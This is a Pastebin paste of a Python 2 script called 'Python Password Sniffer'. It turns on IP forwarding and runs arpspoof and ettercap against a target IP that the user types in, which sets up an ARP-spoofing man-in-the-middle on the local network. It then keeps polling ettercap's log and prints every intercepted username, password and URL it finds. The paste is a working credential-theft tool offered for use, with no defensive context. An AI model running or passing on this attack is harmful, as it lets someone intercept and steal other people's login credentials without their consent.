Advertisement
Guest User

Python Password Sniffer

a guest
Jun 2nd, 2015
2,681
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.91 KB | None | 0 0
  1. # Credits to Cracker|Hacker for development. Do not copy.
  2. # Thanks to my many friends for teaching me how to do this! :)
  3.  
  4. #! /usr/bin/env python
  5. #include <stdio.h>
  6. import subprocess
  7. import socket, struct
  8. import os
  9. import sys
  10. import time
  11. os.system("clear")
  12. def get_gate():
  13. with open("/proc/net/route") as fh:
  14. for line in fh:
  15. fields = line.strip().split()
  16. if fields[1] != '00000000' or not int(fields[3], 16) & 2:
  17. continue
  18.  
  19. return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
  20. gateway = get_gate()
  21. os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
  22. target = raw_input("Enter the target IP: ")
  23. interface = raw_input("Enter the interface you want to run on: ")
  24. subprocess.call("arpspoof -i %s -t %s -r %s &" % (interface, target, gateway), stdout=subprocess.PIPE, shell=True)
  25. subprocess.call("ettercap -T -m etter.txt -i %s -M ARP /%s/ // &" % (interface, target), stdout=subprocess.PIPE, shell=True)
  26. time.sleep(2)
  27. log_file = "etter.txt"
  28. old_time = os.stat(log_file).st_mtime
  29. while True:
  30. username_list = list(subprocess.check_output("cat etter.txt | grep 'USER:' | tail -1 | awk '{print $6}'", shell=True))
  31. password_list = list(subprocess.check_output("cat etter.txt | grep 'PASS:' | tail -1 | awk '{print $8}'", shell=True))
  32. url = subprocess.check_output("cat etter.txt | grep 'INFO:' | tail -1 | awk '{print $10}'", shell=True)
  33. if "+" in username_list:
  34. fix1 = username_list.index('+')
  35. username_list[fix1] = " "
  36. username = "".join(username_list)
  37. if "+" in password_list:
  38. fix2 = password_list.index('+')
  39. password_list[fix2] = " "
  40. password = "".join(password_list)
  41. new_time = os.stat(log_file).st_mtime
  42. if old_time != new_time:
  43. print "\n------------------------\n|New credentials found.|\n------------------------\nUsername: %s\nPassword: %s\nURL: %s\n" % (username, password, url)
  44. old_time = new_time
  45. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement